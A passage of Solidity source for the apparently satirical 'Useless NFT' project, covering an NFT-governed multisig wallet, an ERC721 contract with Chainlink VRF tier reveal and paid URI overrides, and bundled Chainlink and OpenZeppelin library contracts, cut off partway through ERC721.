require(uselessNft.ownerOf(_tokenId) == msg.sender, "not a valid owner"); require(uselessNft.getTier(_tokenId) <= UselessLibrary.Tier.TIER_ONE, "owner is not useless enough"); _; } modifier transactionExists( uint256 transactionId ) { require(transactions[transactionId].destination != ADDRESS_ZERO, "useless transaction does not exist"); _; } modifier confirmed( uint256 transactionId, uint256 tokenId ) { require(confirmations[transactionId][tokenId], "useless transaction is not confirmed by this NFT"); _; } modifier notConfirmed( uint256 transactionId, uint256 tokenId ) { require(!confirmations[transactionId][tokenId], "useless transaction is already confirmed"); _; } modifier notExecuted( uint256 transactionId ) { require(!transactions[transactionId].executed, "useless transaction is already executed"); _; } modifier notNull( address _address ) { require(_address != ADDRESS_ZERO, "address is useless"); _; } modifier validRequirement( uint256 ownerCount, uint256 _required ) { require( _required <= ownerCount && _required != 0 && ownerCount != 0, "requirements are useless" ); _; } // ============ Constructor ============ /** * Contract constructor sets NFT contract and required number of confirmations. * * @param _uselessNft Address of the Useless NFT contract. */ constructor( address payable _uselessNft ) public { uselessNft = UselessNFT(_uselessNft); // when the council is created, post sale, there will be 11 signers. Initialize it simply at majority required // to execute transactions required = 6; } receive() external payable { emit ReceiveEther(msg.sender, msg.value); } function ownerTokenIds() public view returns (uint[] memory) { return uselessNft.getCouncilIds(); } function owners() public view returns (address[] memory) { UselessNFT _uselessNFT = uselessNft; uint[] memory tokenIds = _uselessNFT.getCouncilIds(); address[] memory _owners = new address[](tokenIds.length); for (uint i = 0; i < tokenIds.length; i++) { _owners[i] = _uselessNFT.ownerOf(tokenIds[i]); } return _owners; } /** * Allows to change the number of required confirmations. Transaction has to be sent by wallet. * * @param _required Number of required confirmations. */ function changeRequirement( uint256 _required ) public onlyWallet validRequirement(owners().length, _required) { required = _required; emit RequirementChange(_required); } /** * Allows an owner to submit and confirm a transaction. * * @param tokenId Token ID of one of the owners of the UselessNFT contract. * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * @return Transaction ID. */ function submitTransaction( uint256 tokenId, address destination, uint256 value, bytes memory data ) public returns (uint256) { uint256 transactionId = _addTransaction(destination, value, data); confirmTransaction(tokenId, transactionId); return transactionId; } /** * Allows an owner to confirm a transaction. */ function confirmTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) transactionExists(transactionId) notConfirmed(transactionId, tokenId) { confirmations[transactionId][tokenId] = true; emit Confirmation(tokenId, transactionId); executeTransaction(tokenId, transactionId); } /** * Allows an owner to revoke a confirmation for a transaction. */ function revokeConfirmation( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { confirmations[transactionId][tokenId] = false; emit Revocation(tokenId, transactionId); } /** * Allows an owner to execute a confirmed transaction. */ function executeTransaction( uint256 tokenId, uint256 transactionId ) public requireIsValidOwnerAndCouncilIsSetUp(tokenId) confirmed(transactionId, tokenId) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, string memory error) = _externalCall(txn.destination, txn.value, txn.data); if (success) { emit Execution(transactionId); } else { emit ExecutionFailure(transactionId, error); txn.executed = false; } } } /** * Returns the confirmation status of a transaction. * * @param transactionId Transaction ID. * @return Confirmation status. */ function isConfirmed( uint256 transactionId ) public view returns (bool) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } if (count == required) { return true; } } return false; } /** * Returns number of confirmations of a transaction. * * @param transactionId Transaction ID. * @return Number of confirmations. */ function getConfirmationCount( uint256 transactionId ) public view returns (uint256) { uint[] memory _ownerTokenIds = ownerTokenIds(); uint256 count = 0; for (uint256 i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { count += 1; } } return count; } /** * Returns total number of transactions after filers are applied. * * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Total number of transactions after filters are applied. */ function getTransactionCount( bool pending, bool executed ) public view returns (uint256) { uint256 count = 0; for (uint256 i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { count += 1; } } return count; } /** * Returns array with owner addresses, which confirmed transaction. * * @param transactionId Transaction ID. * @return Array of NFTs that confirmed the transaction. */ function getConfirmations( uint256 transactionId ) public view returns (uint256[] memory) { uint256[] memory _ownerTokenIds = ownerTokenIds(); uint256[] memory confirmationsTemp = new uint256[](_ownerTokenIds.length); uint256 count = 0; uint256 i; for (i = 0; i < _ownerTokenIds.length; i++) { if (confirmations[transactionId][_ownerTokenIds[i]]) { confirmationsTemp[count] = _ownerTokenIds[i]; count += 1; } } uint256[] memory _confirmations = new uint256[](count); for (i = 0; i < count; i++) { _confirmations[i] = confirmationsTemp[i]; } return _confirmations; } /** * Returns list of transaction IDs in defined range. * * @param from Index start position of transaction array. * @param to Index end position of transaction array. * @param pending Include pending transactions. * @param executed Include executed transactions. * @return Array of transaction IDs. */ function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) { if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } } uint256[] memory _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) { _transactionIds[i - from] = transactionIdsTemp[i]; } return _transactionIds; } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function _externalCall( address destination, uint256 value, bytes memory data ) internal returns (bool, string memory) { // solium-disable-next-line security/no-call-value (bool success, bytes memory result) = destination.call{value : value}(data); if (!success) { string memory targetString = _addressToString(destination); if (result.length < 68) { return (false, string(abi.encodePacked("UselessMultiSig: revert at <", targetString, ">"))); } else { // solium-disable-next-line security/no-inline-assembly assembly { result := add(result, 0x04) } return ( false, string( abi.encodePacked( "UselessMultiSig: revert at <", targetString, "> with reason: ", abi.decode(result, (string)) ) ) ); } } else { return (true, ""); } } /** * Adds a new transaction to the transaction mapping, if transaction does not exist yet. * * @param destination Transaction target address. * @param value Transaction ether value. * @param data Transaction data payload. * @return Transaction ID. */ function _addTransaction( address destination, uint256 value, bytes memory data ) internal notNull(destination) returns (uint256) { uint256 transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); return transactionId; } function _addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _string = new bytes(42); _string[0] = "0"; _string[1] = "x"; for (uint i = 0; i < 20; i++) { _string[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _string[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_string); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; import "@chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./UselessLibrary.sol"; contract UselessNFT is ERC721, Ownable, ReentrancyGuard, VRFConsumerBase { using Counters for Counters.Counter; using SafeERC20 for IERC20; using UselessLibrary for *; event Withdrawal(address indexed receiver, uint amount); event URIOverridesRatePerDayChanged(uint ratePerDay); event BaseURIChanged(string newURI); event URIOverride(UselessLibrary.Tier tier, uint lockedUntilTimestamp, string newURI); event URIRevert(UselessLibrary.Tier tier); uint256 public constant LINK_FEE = 2 ether; bool public isSaleOpen; uint16 public maxSupply; uint256 public mintPrice; address public ogDeveloper; address public ogArtist; address public council; uint256 public uriOverridesPricePerDay; bytes32 public vrfKeyHash; uint256 public randomNumber; mapping(UselessLibrary.Tier => string) public uriOverrides; mapping(UselessLibrary.Tier => uint) public uriOverridesLockedUntil; Counters.Counter private _tokenIds; constructor( string memory _baseURI, address _ogDeveloper, address _ogArtist, uint256 _maxSupply, uint256 _uriOverridesPricePerDay, uint256 _mintPrice, address _vrfCoordinator, address _linkToken, bytes32 _vrfKeyHash ) public VRFConsumerBase(_vrfCoordinator, _linkToken) ERC721("Useless NFT", "USELESS") { require(_maxSupply <= 10000, "How many useless NFTs do you need?"); require(_mintPrice > 0, "Wow, I guess you wanted to make them worthless AND useless"); _setBaseURI(_baseURI); ogDeveloper = _ogDeveloper; ogArtist = _ogArtist; maxSupply = uint16(_maxSupply); _setURIOverridesPricePerDay(_uriOverridesPricePerDay); mintPrice = _mintPrice; vrfKeyHash = _vrfKeyHash; isSaleOpen = true; } modifier requireIsInitialized(uint _tokenId) { require( randomNumber != 0, "Reveal has not occurred yet" ); require( ownerOf(_tokenId) == msg.sender, "You are not the owner of this useless NFT" ); _; } modifier requireIsUnlockedAndValid(uint256 _tokenId, UselessLibrary.Tier _tier) { require( uint8(getTier(_tokenId)) < uint8(_tier), "You must be higher up the pyramid to override this tier" ); require( !isURILocked(_tier), "URI for this tier is still locked" ); _; } receive() external payable { revert("Do not blindly send ETH to this contract. We told you it's not audited!"); } function setCouncil(address _council) public { require(council == address(0), "council already set"); council = _council; } function setURIOverridesPricePerDay(uint _uriOverridesPricePerDay) external { require(msg.sender == council, "Only the council of elders can set the tax rate"); _setURIOverridesPricePerDay(_uriOverridesPricePerDay); } function _setURIOverridesPricePerDay(uint _uriOverridesPricePerDay) internal { require(_uriOverridesPricePerDay > 0, "I know these NFTs are useless, but come on, have some respect!"); uriOverridesPricePerDay = _uriOverridesPricePerDay; emit URIOverridesRatePerDayChanged(_uriOverridesPricePerDay); } function requestRandomNumber() public returns (bytes32 requestId) { require(!isSaleOpen, "Sale must be over"); require(LINK.balanceOf(address(this)) >= LINK_FEE, "Not enough LINK - fill contract first"); return _callRequestRandomness(); } function _callRequestRandomness() internal virtual returns (bytes32 requestId) { // function is made to be overrode in TestUselessNFT for increased test coverage return requestRandomness(vrfKeyHash, LINK_FEE); } function fulfillRandomness(bytes32, uint256 _randomNumber) internal override { randomNumber = _randomNumber; } function withdrawETH() public nonReentrant { _withdraw(ogArtist, address(this).balance / 2); // send remaining balance; this helps deal with any truncation errors _withdraw(ogDeveloper, address(this).balance); } function rescueTokens(address[] calldata tokens) public nonReentrant { // users were useless enough to send tokens to the contract? bool _isSaleOpen = isSaleOpen; uint _randomNumber = randomNumber; for (uint i = 0; i < tokens.length; i++) { if (_isSaleOpen || _randomNumber == 0) { IERC20(tokens[i]).safeTransfer(ogDeveloper, IERC20(tokens[i]).balanceOf(address(this))); } else { IERC20(tokens[i]).safeTransfer(council, IERC20(tokens[i]).balanceOf(address(this))); } } } function _withdraw(address _receiver, uint256 _amount) internal { (bool success,) = _receiver.call{value : _amount}(""); require(success, "_withdraw failed"); emit Withdrawal(_receiver, _amount); } function mint(uint quantity) public payable nonReentrant { require(quantity > 0 && quantity <= 5, "quantity must be > 0 and <= 5"); require(msg.value == mintPrice * quantity, "invalid ETH amount sent"); require(isSaleOpen, "The sale is over. Wait, the sale is over!? Wow, this really happened?"); require(totalSupply() + quantity <= maxSupply, "Can only mint up to the totalSupply amount"); address _msgSender = msg.sender; uint tokenIds = _tokenIds.current(); for (uint i = 0; i < quantity; ++i) { _safeMint(_msgSender, tokenIds); ++tokenIds; } _tokenIds._value = tokenIds; isSaleOpen = totalSupply() != maxSupply; } function setBaseURI(string calldata _baseURI) public onlyOwner { _setBaseURI(_baseURI); emit BaseURIChanged(_baseURI); } function owner() public override view returns (address) { if (isSaleOpen || randomNumber == 0) { return super.owner(); } else { return ownerOf(getPlatinumTokenId()); } } function getTier(uint256 _id) public view returns (UselessLibrary.Tier) { if (randomNumber == 0 || _id >= maxSupply) { // random number is not set yet return UselessLibrary.Tier.TIER_UNKNOWN; } uint result = _wrapIdIfNecessary((randomNumber % maxSupply) + _id); if (result == 0) { return UselessLibrary.Tier.TIER_ZERO; } else if ((result + 3) % 1000 == 0) { return UselessLibrary.Tier.TIER_ONE; } else if ((result + 6) % 100 == 0) { return UselessLibrary.Tier.TIER_TWO; } else if ((result + 9) % 10 == 0) { return UselessLibrary.Tier.TIER_THREE; } else { return UselessLibrary.Tier.TIER_FOUR; } } function getCouncilIds() public view returns (uint[] memory) { if (isSaleOpen || randomNumber == 0) { // sale is not over yet and traits have not been assigned return new uint[](0); } uint platinumTokenId = getPlatinumTokenId(); uint goldTokenStartId = _wrapIdIfNecessary((platinumTokenId + 997) % 1000); uint[] memory result = new uint[](11); result[0] = platinumTokenId; result[1] = _wrapIdIfNecessary(goldTokenStartId + (0 * 1000)); result[2] = _wrapIdIfNecessary(goldTokenStartId + (1 * 1000)); result[3] = _wrapIdIfNecessary(goldTokenStartId + (2 * 1000)); result[4] = _wrapIdIfNecessary(goldTokenStartId + (3 * 1000)); result[5] = _wrapIdIfNecessary(goldTokenStartId + (4 * 1000)); result[6] = _wrapIdIfNecessary(goldTokenStartId + (5 * 1000)); result[7] = _wrapIdIfNecessary(goldTokenStartId + (6 * 1000)); result[8] = _wrapIdIfNecessary(goldTokenStartId + (7 * 1000)); result[9] = _wrapIdIfNecessary(goldTokenStartId + (8 * 1000)); result[10] = _wrapIdIfNecessary(goldTokenStartId + (9 * 1000)); return result; } function getPlatinumTokenId() public view returns (uint) { if (randomNumber == 0) { return uint(-1); } return randomNumber % maxSupply == 0 ? 0 : maxSupply - (randomNumber % maxSupply); } function _wrapIdIfNecessary(uint _tokenId) internal view returns (uint) { uint16 _maxSupply = maxSupply; if (_tokenId >= _maxSupply) { return _tokenId - _maxSupply; } else { return _tokenId; } } function overridePeasantURI( uint _tokenId, UselessLibrary.Tier _tierToOverride, string calldata _newURI ) external payable requireIsInitialized(_tokenId) requireIsUnlockedAndValid(_tokenId, _tierToOverride) nonReentrant { require( bytes(_newURI).length > 0, "invalid new URI" ); uint leftOverTax = msg.value % uriOverridesPricePerDay; if (leftOverTax > 0) { _withdraw(msg.sender, leftOverTax); } uint taxPaid = msg.value - leftOverTax; if (taxPaid > 0) { _withdraw(council, taxPaid); } uint daysToLock = taxPaid / uriOverridesPricePerDay; uriOverrides[_tierToOverride] = _newURI; uriOverridesLockedUntil[_tierToOverride] = block.timestamp + (daysToLock * 1 days); emit URIOverride(_tierToOverride, block.timestamp + (daysToLock * 1 days), _newURI); } function isURILocked(UselessLibrary.Tier _tierToOverride) public view returns (bool) { return block.timestamp <= uriOverridesLockedUntil[_tierToOverride]; } function revertPeasantURI( uint _tokenId, UselessLibrary.Tier _tierToRevert ) external requireIsInitialized(_tokenId) requireIsUnlockedAndValid(_tokenId, _tierToRevert) { uriOverrides[_tierToRevert] = ""; emit URIRevert(_tierToRevert); } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { if (randomNumber == 0) { return string(abi.encodePacked(baseURI(), _tokenId.toString(), "_x.json")); } else { UselessLibrary.Tier tier = getTier(_tokenId); if (tier == UselessLibrary.Tier.TIER_ZERO) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_0.json")); } else if (tier == UselessLibrary.Tier.TIER_ONE) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_1.json")); } else if (tier == UselessLibrary.Tier.TIER_TWO) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_2.json")); } else if (tier == UselessLibrary.Tier.TIER_THREE) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_3.json")); } else { assert(tier == UselessLibrary.Tier.TIER_FOUR); return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_4.json")); } } } function baseURIOrOverride(UselessLibrary.Tier tier) public view returns (string memory) { string memory uriOverride = uriOverrides[tier]; if (bytes(uriOverride).length == 0 && keccak256(bytes(uriOverride)) == keccak256(bytes(""))) { return baseURI(); } else { return uriOverride; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./vendor/SafeMathChainlink.sol"; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { using SafeMathChainlink for uint256; /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash].add(1); return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) public { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address 